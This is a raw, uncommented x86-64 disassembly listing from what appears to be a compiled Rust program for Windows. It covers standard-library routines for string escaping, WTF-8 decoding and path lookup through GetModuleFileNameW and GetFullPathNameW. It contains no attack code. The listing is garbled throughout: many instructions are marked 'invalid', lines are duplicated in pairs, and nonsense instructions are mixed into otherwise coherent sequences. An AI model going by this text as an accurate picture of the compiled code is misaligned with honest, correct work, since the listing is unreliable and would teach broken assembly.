mov r8, qword [rbp - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
cmp rcx, rdi
je 0x1400da7c0
lea r8, [r15 + rcx]
mov r12, rcx
mov rdx, r8
jmp 0x1400da67f
add rdx, 2
cmp rax, r13
cmovne rax, rdx
mov r9d, 2
nop word cs:[rax + rax]
add r12, r9
mov rdx, rax
cmp rax, r13
je case.0x1400dc7e7.71
lea rax, [rdx + 1]
movzx r10d, byte [rdx]
mov r9d, 1
test r10b, r10b
jns 0x1400da670
cmp r10b, 0xe0
jb 0x1400da651
cmp r10b, 0xed
jne 0x1400da6d1
cmp rax, r13
je case.0x1400dc7e7.71
lea r9, [rdx + 2]
cmp r9, r13
je case.0x1400dc7e7.71
movzx eax, byte [rdx + 1]
movzx eax, ax
cmp eax, 0x9f
lahf
add byte [rax], al
add byte [rdi + 0x4b], dh
lahf
add byte [rax], al
add byte [rdi + 0x4b], dh
add rdx, 3
mov r9d, 3
mov rax, rdx
jmp 0x1400da670
add rdx, 2
cmp rax, r13
cmove rdx, rax
xor eax, eax
cmp rdx, r13
setne al
add rax, rdx
mov r9d, 3
cmp r10b, 0xf0
jb 0x1400da670
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
mov r9d, 4
jmp 0x1400da670
invalid
inc dword [rcx + 0xf]
mov dh, 0x11
movzx edx, byte [r9]
and eax, 0x1f
shl eax, 6
and edx, 0x3f
add eax, edx
add eax, 0xd800
mov word [rbp + 6], ax
mov r9, r12
sub r9, rcx
jb 0x1400da81b
cmp r12, rdi
ja 0x1400da809
mov rcx, rsi
mov rdx, r14
call fcn.1400da830
test al, al
jne 0x1400da7f6
lea rax, [rbp + 6]
mov qword [rbp - 0x18], rax
lea rax, [0x140014460]
mov qword [rbp - 0x10], rax
lea rax, str.u
lea eax, [0x140149c10]
lea eax, [0x140149c10]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 2
mov qword [rbp - 0x28], 0
lea rax, [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov rcx, rsi
mov rdx, r14
lea r8, [rbp - 0x48]
call fcn.140013bb0
test al, al
jne 0x1400da7f6
add r12, 3
mov rcx, r12
cmp r12, rdi
cld
cld
jbe case.0x14001a5bd.3154
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, rdi
call fcn.1401082c0
mov rcx, rdi
sub rdi, rcx
add r15, rcx
mov rcx, rsi
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.1400da830
test al, al
mov rax, qword [rbp - 8]
clc
clc
jne 0x1400da7f6
lea rdx, [0x14014bd1c]
mov r8d, 1
mov rcx, rsi
call rax
mov ebx, eax
mov eax, ebx
add rsp, 0x78
js case.0x1400d7661.88
js case.0x1400d7661.88
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, rdi
call fcn.140108340
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r12
call fcn.140108530
int3
mov rdi, r8
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x50], rcx
add r9, r8
ror dword [rcx + rcx*4 + 0x45], 0xb8
ror dword [rcx + rcx*4 + 0x45], 0xb8
mov qword [rbp - 0x40], r9
mov byte [rbp - 0x38], 0x81
enter 0xffffffffffffc681, 0x45
invalid
add dword [rcx - 0x4a], 0xba4981
add bh, bh
invalid
invalid
inc dword [rax]
add byte [rax], al
enter 0xffffffffffffc681, 0x45
invalid
add dword [rcx - 0x4a], 0xba4981
add bh, bh
invalid
add byte [rax], al
lea r11, [0x140178b1c]
sbb eax, 0x9e29f
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x20], r9
invalid
loopne 0x1400da80f
mov edx, ecx
mov eax, r12d
mov eax, esp
mov eax, esp
cmp r14b, 0x81
je 0x1400da8a3
cmp r14b, 0x80
je 0x1400daba0
add eax, dword [rax]
add byte [rax + rdi - 8], al
add byte [rax], al
cmp al, r15b
jb 0x1400dabc8
add eax, dword [rax]
add byte [rax - 0x7b], cl
test edi, edi
je 0x1400dac1e
test rdi, rdi
test edi, edi
je 0x1400dac1e
cmp rdi, r9
je 0x1400dac1e
test byte [rcx + 3], ch
add byte [rax], al
invalid
test byte [rcx + 3], ch
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x17
movzx edx, byte [rdi]
movzx r15d, dl
test r15b, r15b
js 0x1400da900
invalid
invalid
inc rdi
mov r12d, r15d
mov al, 2
cmp r15d, 0x27
invalid
ja 0x1400daa55
invalid
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rcx - 0x4a], al
pop rsp
mov r14b, 0x5c
movsxd rcx, dword [r11 + r12*4]
add rcx, r11
fcos
invalid
fcos
loope 0x1400da921
mov al, 0x30
xor ecx, ecx
mov qword [rbp - 0x10], rcx
xor ebx, ebx
xor r13d, r13d
in eax, dx
in eax, dx
cmp r14b, 0x81
jne 0x1400da9f8
jmp 0x1400dac1e
nop dword [rax]
mov r14d, r8d
mov eax, r15d
and eax, 0x1f
movzx r8d, byte [rdi + 1]
add dword [r9 - 0x7d], r8d
loopne 0x1400da951
add dword [r9 - 0x7d], r8d
loopne 0x1400da951
cmp r15b, 0xdf
jbe case.0x1400d8095.65
invalid
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
loope 0x1400da962
or ecx, r8d
or ecx, eax
cmp dl, 0xf0
jb 0x1400daa37
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
jg 0x1400da937
movzx r15d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
loopne case.0x1400d8ec4.38
shl ecx, 6
and r15d, 0x3f
or r15d, ecx
invalid
or r15d, eax
cmp r15d, 0x110000
cmp edi, 0x110000
cmp edi, 0x110000
adc dword [rax], eax
je 0x1400dac1e
add al, byte [rax]
add byte [rbp - 0x77], al
mov r8d, r14d
mov r8d, r14d
add rdi, 4
add edi, 4
add edi, 4
mov r12d, r15d
mov al, 2
cmp r15d, 0x27
jbe 0x1400da8d3
invalid
invalid
jmp qword [rdi]
invalid
jmp 0x1400daa55
add rdi, 2
shl eax, 6
or eax, r8d
or eax, eax
or eax, eax
mov r15d, eax
jmp 0x1400daa43
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov r8b, 0x6e
jmp 0x1400da9e0
add byte [rax], al
add byte [rax], al
mov r8b, 0x27
jmp 0x1400da9e0
mov r8b, 0x72
jmp 0x1400da9e0
nop dword cs:[rax + rax]
mov r8b, 0x74
jmp 0x1400da9e0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x50], al
and ah, byte [rsi + 0x66]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor ecx, ecx
mov qword [rbp - 0x10], rcx
xor r12d, r12d
xor ebx, ebx
fild dword [rbp + 0x31]
in eax, dx
fild dword [rbp + 0x31]
in eax, dx
cmp r14b, 0x81
je 0x1400dac1e
add al, byte es:[rax]
invalid
add al, byte es:[rax]
add byte [rdi], cl
mov bh, 0x4d
invalid
movzx ecx, word [rbp - 0x10]
shl rcx, 0x30
and r12, r10
or r12, rcx
movzx edx, bx
or rdx, r12
mov esi, eax
mov byte [rbp - 0x37], r8b
mov qword [rbp - 0x36], rdx
mov byte [rbp - 0x2e], r13b
mov byte [rbp - 0x2d], sil
shr rdx, 0x10
mov r15d, esi
mov eax, r13d
cmp r14b, 0x81
jne case.0x1400d8095.74
invalid
invalid
invalid
invalid
add rdi, 3
shl eax, 0xc
mov dword [rbx], 0x90ce0c1
rol dword [rcx - 0x77], 0xcf
add eax, ecx
loopne 0x1400daa4a
or ecx, eax
mov r15d, ecx
mov r8d, r14d
mov r12d, r15d
mov al, 2
cmp r15d, 0x27
jbe 0x1400da8d3
invalid
invalid
add al, byte [rcx - 0x7d]
jmp qword [rdi]
invalid
inc dword [rcx - 0x7d]
call [rbp + rsi*2 + 0x15]
cmp r15d, 0x5c
jne 0x1400daa70
mov r8b, 0x5c
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov r14b, 0x5c
jmp 0x1400da9e6
jp 0x1400daa69
invalid
invalid
jp 0x1400daa69
invalid
invalid
nop dword [rax]
add byte [rcx + rcx*4 + 0x45], al
in al, dx
mov dword [rbp - 0x14], r8d
cmp r15d, 0x2ff
jbe 0x1400daa89
mov ecx, r15d
call fcn.140017ef0
invalid
invalid
test al, al
jne 0x1400daacb
invalid
inc dword [rax + rax*8 - 0x76bbbd8b]
stc
mov ecx, r15d
mov ecx, r15d
call fcn.140017db0
test al, al
je 0x1400daacb
movzx eax, word [rbp - 0x10]
shl rax, 0x30
shl r12, 0x10
or r12, rax
or esp, eax
or esp, eax
movzx edx, bx
or rdx, r12
mov r14b, 0x80
mov r9, qword [rbp - 0x20]
movabs r10, 0xffffffff0000
lea r11, [0x140178b1c]
sbb eax, 0x9e05a
sbb eax, 0x9e05a
mov r8d, dword [rbp - 0x14]
jmp 0x1400daa0e
mov byte [rbp], 0
mov word [rbp - 2], 0
mov byte [rbp + 7], 0x7d
mov eax, r15d
shr eax, 0x14
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
xchg edx, eax
add eax, dword [rax]
xchg edx, eax
add eax, dword [rax]
movzx eax, byte [rax + rcx]
mov dh, 4
or byte [rax - 0x76bbfebb], cl
mov byte [rbp + 1], al
mov eax, r15d
mov byte [rbp + 1], al
mov eax, r15d
shr eax, 0x10
adc byte [rbx - 0x49f0f020], al
add al, 8
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rbp + 2], al
mov eax, r15d
mov eax, edi
mov eax, edi
shr eax, 0xc
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rbp + 3], al
add r8d, dword [r9 + rcx*4 - 8]
add r8d, dword [r9 + rcx*4 - 8]
shr eax, 8
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rbp + 4], al
mov eax, r15d
shr eax, 4
and eax, 0xf
loopne 0x1400dab35
loopne 0x1400dab35
movzx eax, byte [rax + rcx]
mov byte [rbp + 5], al
mov eax, r15d
and eax, 0xf
movzx eax, byte [rax + rcx]
add al, 8
mov byte [rbp + 6], al
or r15d, 1
or edi, 1
or edi, 1
bsr eax, r15d
xor eax, 0x1c
invalid
mov ebp, 0x1cf083c7
shr eax, 2
lea r13, [rax - 2]
mov byte [rbp + rax - 2], 0x7b
mov word [rbp + rax - 4], 0x755c
movzx r14d, word [rbp - 2]
mov r8d, r14d
invalid
shr r8d, 8
mov rbx, qword [rbp]
mov r12, rbx
and r12, 0xffffffffffff0000
mov rax, rbx
mov eax, ebx
shr rax, 0x30
mov qword [rbp - 0x10], rax
mov al, 0xa
mov r9, qword [rbp - 0x20]
movabs r10, 0xffffffff0000
invalid
invalid
invalid
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
mov bh, bl
or dword [rax], eax
cmp r14b, 0x81
jne 0x1400da9f8
invalid
invalid
invalid
invalid
jmp 0x1400dac1e
mov dword [rbp - 0x14], r8d
in al, dx
lea rax, [rbp - 0x38]
mov dword [rax + 8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rax], 0
mov dword [rbp - 0x18], 0
xor r15d, r15d
xor r12d, r12d
xor r14d, r14d
imul bl
invalid
imul bl
and eax, dword [rax + rcx*4 + 0x75]
enter 0xffffffffffff8d44, 0x60
add dword [rax + rcx*4 + 0x65], eax
ror byte [rdi], cl
mov dh, 0xc8
mov byte [rbp - 0x38], r14b
lea r12d, [rax + 1]
mov byte [rbp - 0x2e], r12b
movzx ecx, al
cmp al, 0xa
jae 0x1400dac34
mov dword [rbp - 0x14], r8d
mov eax, edx
ror byte [rcx - 0x49f017ab], 1
invalid
invalid
invalid
mov edx, eax
ror byte [rcx - 0x49f017ab], 1
or eax, 0x48c289c8
mov dh, 0x44
or eax, 0x48c289c8
mov rcx, qword [rbp - 0x50]
mov ecx, dword [rbp - 0x50]
mov rax, qword [rbp - 0x58]
call qword [rax + 0x20]
push rax
and byte [rax + rax*8 - 0x1fb274b4], al
invalid
push rax
and byte [rax + rax*8 - 0x1fb274b4], al
invalid
loopne 0x1400dac46
movabs r10, 0xffffffff0000
lea r11, [0x140178b1c]
mov r8d, dword [rbp - 0x14]
in al, dx
mov edx, 0xffff0000
invalid
add byte [rbp + rcx*4 + 0x1d], cl
pandn mm1, qword [rcx]
add byte [rbx + rcx*4 + 0x45], al
in al, dx
in al, dx
mov ecx, dword [rbp - 0x18]
je 0x1400da885
mov al, 1
jmp 0x1400dac20
xor eax, eax
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_srcescape.rs
mov edx, 0xa
cmc
fild dword [rsi]
add byte [rdx + 0xa], bh
call fcn.1401082d0
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
in al, dx
js 0x1400dac85
add byte [rax], al
in al, dx
js 0x1400dac85
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rax - 0x77]
mov dword [rbp + 0x3d0], ecx
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test eax, esi
add eax, dword [rax]
add dh, bh
invalid
invalid
mov dword [rbp + 0x3d0], ecx
mov qword [rbp + 0x3d8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, ebp
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
add byte [rax], al
mov qword [rbp + 0x3c8], rax
enter 3, 0
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x1400dad10
jmp 0x1400dacff
add byte [rdi], cl
sbb ebx, 0
add byte [rax], al
cmp r8, 0x201
clc
add dword [rdx], eax
add byte [rax], al
clc
add dword [rdx], eax
add byte [rax], al
jae 0x1400dad10
mov r14d, 0x200
add byte [rdx], al
add byte [rax], al
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x1400dad67
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x1400dad3f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.140110110
push rbx
add eax, dword [rax]
push rbx
add eax, dword [rax]
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
add byte [rax - 0x77], cl
test eax, ecx
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
test eax, esp
add eax, dword [rax]
add byte [rax - 0x77], cl
test eax, ecx
add eax, dword [rax]
add byte [rax - 1], bh
invalid
invalid
mov eax, 0xffffffff
invalid
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
invalid
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
xor ecx, ecx
mov rdx, r15
mov r8d, r12d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
sbb esi, dword [rbp + 3]
invalid
sbb esi, dword [rbp + 3]
add byte [rcx - 0x77], al
invalid
add eax, dword [rax]
mov r13d, eax
test eax, eax
jne 0x1400dad92
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
ror byte [rdi], 0x85
test al, 0
add byte [rax], al
ror byte [rdi], 0x85
test al, 0
add byte [rax], al
mov r8d, r13d
cmp r12, r8
cmp esp, eax
cmp esp, eax
jne 0x1400dacf0
in al, 0xb8
loopne 0x1400dae0a
xor edi, edi
invalid
cmp esi, eax
jb 0x1400dae86
lea rcx, [rbp + 0x3a8]
add byte [rax], al
mov rdx, r15
call fcn.1400d7cd0
movups xmm0, xmmword [rbp + 0x3a8]
add eax, dword [rax]
add byte [rdi], cl
adc byte [rbp + 0x3b8], cl
invalid
add eax, dword [rax]
add byte [rdi], cl
adc byte [rbp + 0x3b8], cl
mov rax, qword [rbp + 0x3d0]
movups xmmword [rax + 0x10], xmm1
adc byte [rdi], cl
adc dword [rax], eax
adc byte [rdi], cl
adc dword [rax], eax
cmp qword [rbp + 0x3d8], 0
je 0x1400dae25
mov r8, qword [rbp + 0x3e0]
mov rcx, qword [0x140182260]
or eax, 0xa7443
or eax, 0xa7443
je 0x1400dae26
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x478
js 0x1400dae2f
add byte [rax], al
js 0x1400dae2f
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
add byte [rax - 0x3f], cl
loopne 0x1400dae64
or rax, 2
mov rcx, qword [rbp + 0x3d0]
mov ecx, dword [rbp + 0x3d0]
enter 0x4802, 0xffffffffffffff8b
invalid
mov ecx, dword [rbp + 0x3d0]
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
add dword [rax - 0x7d], ecx
mov ebp, 0x3d8
invalid
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
invalid
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 1
invalid
add dword [rax - 0x7d], ecx
mov ebp, 0x3d8
add byte [rbp - 0x5b], dh
cmp qword [rbp + 0x3d8], 0
jne 0x1400dae0f
jmp 0x1400dae25
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
call fcn.140108350
jmp 0x1400dae9b
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
std
invalid
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140108340
ud2
invalid
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x7d], cl
mov ebp, 0x3d8
invalid
je 0x1400daedc
add byte [rax], al
add byte [rax - 0x7d], cl
mov ebp, 0x3d8
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x3e0]
mov r8, qword [rbp + 0x3e0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x28
lea rbp, [rsp + 0x20]
and byte [rcx + rcx*4 - 0x39], cl
and byte [rcx + rcx*4 - 0x39], cl
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov rbx, qword [rsi + 0x10]
mov ebx, dword [rsi + 0x10]
mov ebx, dword [rsi + 0x10]
xor r14d, r14d
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rbx, 3
jb 0x1400daf5c
movzx r8d, byte [rbx + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
and cl, 0xf0
and cl, 0xf0
xor r14d, r14d
cmp r9b, 0xa0
jne 0x1400daf5c
xor r14d, r14d
cmp byte [rbx + rcx - 3], 0xed
jne 0x1400daf5c
movzx r14d, byte [rbx + rcx - 1]
or edi, edi
and r8d, 0xf
and r14d, 0x3f
shl r8d, 0x10
shl r14d, 0xa
or r14d, r8d
mov al, 1
cmp rdi, 3
jb 0x1400db02d
invalid
invalid
add byte [rax], al
invalid
invalid
cmp byte [rdx], 0xed
jne 0x1400db036
movzx r15d, byte [rdx + 1]
mov r8d, r15d
and r8b, 0xf0
invalid
cmp r8b, 0xb0
jne 0x1400db036
test al, al
je 0x1400db036
movzx r12d, byte [rdx + 2]
and r15d, 0xf
and edi, 0xf
and edi, 0xf
cmp rbx, 3
jb 0x1400dafa4
add rbx, 0xfffffffffffffffd
mov qword [rsi + 0x10], rbx
and r12d, 0x3f
shl r15d, 6
shl edi, 6
lea r8, [rdi + 1]
mov rax, qword [rsi]
mov rcx, rax
sub rcx, rbx
cmp rcx, r8
jb 0x1400db10c
invalid
add qword [rax], rax
add byte [rax], al
invalid
add eax, 0x808080f0
mov dword [rcx + rbx], r8d
add rbx, 4
mov qword [rsi + 0x10], rbx
jmp 0x1400db0c3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
dec dword [rdi]
test rdi, rdi
je 0x1400db0c0
invalid
mov al, byte [rax]
add byte [rax], al
invalid
test byte [rdx + 0x48000000], cl
lea eax, [rdx + rdi]
lea rax, [rdx + rdi]
mov r9, rdx
jmp 0x1400db058
add r9, 2
cmp r8, rax
ror byte [rbp + 0xf], 0x45
shl dword [rsi + 0xf], 0x1f
add byte [rax], r8b
ror byte [rbp + 0xf], 0x45
shl dword [rsi + 0xf], 0x1f
add byte [rax], r8b
mov r9, r8
cmp r8, rax
je 0x1400db0c0
lea r8, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x1400db050
cmp r10b, 0xe0
jb 0x1400db03f
cmp r10b, 0xed
jne 0x1400db08f
rol dword [rbx], 0x4d
mov eax, ecx
jmp 0x1400db050
add ecx, 2
cmp r8, rax
cmove r9, r8
xor r8d, r8d
ror byte [rcx + 0x39], 0xc1
ror byte [rcx + 0x39], 0xc1
setne r8b
add r8, r9
ror byte [rbp + 1], 0xc8
cmp r10b, 0xf0
jb 0x1400db050
xor r9d, r9d
cmp r8, rax
setne r9b
add r8, r9
jmp 0x1400db050
mov rax, qword [rsi]
sub rax, rbx
cmp rax, rdi
jb 0x1400db0ee
add rcx, rbx
mov r8, rdi
call fcn.140106250
add rbx, rdi
add byte [rax + 1], cl
sti
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
mov r8, rdi
call fcn.140110070
mov rdx, r14
mov rcx, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
jmp 0x1400db0cb
inc dword [rcx - 0x48]
add al, 0
add byte [rax], al
mov rcx, rsi
mov qword [rbp], rdx
mov rdx, rbx
call fcn.140110070
add eax, dword [rax]
add eax, dword [rax]
mov rdx, qword [rbp]
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov eax, dword [rsi]
mov rbx, qword [rsi + 0x10]
jmp 0x1400dafe5
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x498
cwde
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], edx
add al, 0
lea ebp, [rsp + 0x80]
mov qword [rbp + 0x410], 0xfffffffffffffffe
mov r9, qword [rdx + 8]
mov rax, qword [rdx + 0x10]
cmp rax, 3
jbe 0x1400db1d5
add dh, bh
invalid
movabs r8, 0x5c003f005c005c
cmp qword [r9], r8
add dword [rdi], ecx
invalid
xchg esi, eax
add byte [rax], al
invalid
add dword [rdi], ecx
test byte [rsi + 0x49000000], dl
movabs r8, 0x5c003f003f005c
cmp qword [r9], r8
mov eax, 0x3f005c
invalid
je 0x1400db23d
cmp rax, 0xf8
cmp eax, 0xf8
add byte [rdi], cl
or dword [rdx + 0x66000000], 0x41
add byte [rsi + 0x41], ah
jae 0x1400db250
add byte [rsi + 0x41], ah
cmp word [r9 + 2], 0x3a
cmp dword [rcx + 2], 0x3a
jne 0x1400db21c
movzx eax, word [r9 + 4]
movzx eax, word [rcx + 4]
jmp 0x1400db1fc
je 0x1400db1e6
cmp rax, 1
jne 0x1400db21a
clc
add dword [rbp + 0x3d], esi
cmp word [r9], 0
jne 0x1400db250
add byte [rbp + 0x6c], dh
jmp 0x1400db23d
cmp word [r9 + 2], 0x3a
jne 0x1400db21c
jns 0x1400db1ed
movzx eax, word [r9 + 4]
test ax, ax
je 0x1400db663
cmp ax, 0x2f
je 0x1400db20a
invalid
movzx eax, ax
cmp eax, 0x5c
jne 0x1400db21c
movzx eax, word [r9]
cmp eax, 0x2f
clc
invalid
je 0x1400db220
clc
invalid
cmp eax, 0x5c
je 0x1400db220
jmp 0x1400db23d
jbe 0x1400db250
xor al, 0x41
movzx eax, word [rcx]
movzx eax, word [r9]
cmp ax, 0x5c
je 0x1400db22e
movzx eax, ax
cmp eax, 0x2f
clc
invalid
jne 0x1400db250
clc
invalid
movzx eax, word [r9 + 2]
cmp eax, 0x5c
je 0x1400db23d
cmp eax, 0x2f
jne 0x1400db250
clc
invalid
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
jmp 0x1400db64f
mov qword [rbp + 0x3e8], r9
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x408], rdx
mov qword [rbp + 0x3f0], 0
mov qword [rbp + 0x3f8], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x400], 0
mov r8d, 0x200
test dword [rax], eax
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x3d8], rax
xor edi, edi
inc dword [rbp + 0x31]
test byte [rbp + 0x31], 0xff
inc dword [rbp + 0x31]
test byte [rbp + 0x31], 0xff
cmp r8, 0x201
jae 0x1400db2d0
jmp 0x1400db2bf
jae 0x1400db399
add byte [rax], al
add byte [rcx - 0x7f], cl
clc
add dword [rdx], eax
add byte [rax], al
cmp r8, 0x201
jae 0x1400db2d0
mov r12d, 0x200
lea rbx, [rbp - 0x58]
pop rbp
test al, 0x4d
mov ebp, eax
pop rbp
test al, 0x4d
mov ebp, eax
jmp 0x1400db328
nop
sub r8, r15
sub r14, r15
sub esi, edi
sub esi, edi
cmp r14, r8
jae case.0x1400b3986.876
lea rcx, [rbp + 0x3f0]
mov rdx, r15
mov edx, edi
call fcn.140110110
mov rdi, qword [rbp + 0x3f0]
lock add eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x3d8], rax
lock add eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x3d8], rax
mov eax, 0xffffffff
mov eax, 0xffffffff
invalid
cmp rdi, rax
cmp edi, eax
mov r15d, 0xffffffff
mov edi, 0xffffffff
cmovb r15, rdi
mov qword [rbp + 0x400], r15
mov r14, rdi
dec byte [rbp - 0x77]
mov esp, edi
mov esp, edi
mov rbx, qword [rbp + 0x3d8]
mov r13, r15
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x3e8]
mov edx, r13d
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov esi, eax
test eax, eax
jne 0x1400db35a
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400db3f9
mov r8d, esi
cmp r13, r8
jne 0x1400db2b0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
clc
jp case.0x1400a4d60.914
test dword [rcx], ebx
add eax, dword [rax]
invalid
add byte [rbx - 0x7af08508], al
sbb dword [rbx], eax
add byte [rax], al
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
invalid
cmovae r13, rax
cmovae ebp, eax
mov r8, r13
call 0x1420634d4
add al, byte [rax]
add byte [rdi], cl
invalid
sub edi, edi
invalid
invalid
invalid
call 0x1420634d4
add al, byte [rax]
add byte [rdi], cl
invalid
jmp 0x1400db2d0
cmp r12, r8
cmp esp, eax
invalid
jb 0x1400db6a8
mov r12, qword [rbp + 0x408]
or byte [rax + rax], al
add byte [rcx - 0x39], cl
and al, 0x10
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [r12 + 0x10], 0
cmp esi, 2
jbe 0x1400db46a
invalid
scasd eax, dword [rdi]
add byte [rax], al
add byte [rax], al
xchg byte [rdi + 0xf000000], ch
mov bh, 0x43
add al, byte [r11 - 0x7af0c508]
add byte [rax], al
movzx eax, word [rbx + 2]
cmp eax, 0x3a
clc
cmp cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
add al, byte [r11 - 0x7af0c508]
clc
cmp cl, byte [rdi]
test dword [rcx + 0x66000000], ebp
add byte [rax], al
invalid
invalid
test eax, 0x66000000
add byte [rax], al
add byte [rsi - 0x7d], ah
jnp 0x1400db3d0
cmp word [rbx + 4], 0x5c
cmp dword [rbx + 4], 0x5c
pop rsp
jne 0x1400db471
add byte [rax], al
add byte [rbp + rcx*4 + 0x3d], cl
invalid
invalid
out 0xf8, al
invalid
lea r15, [0x14014acc0]
lea edi, [0x14014acc0]
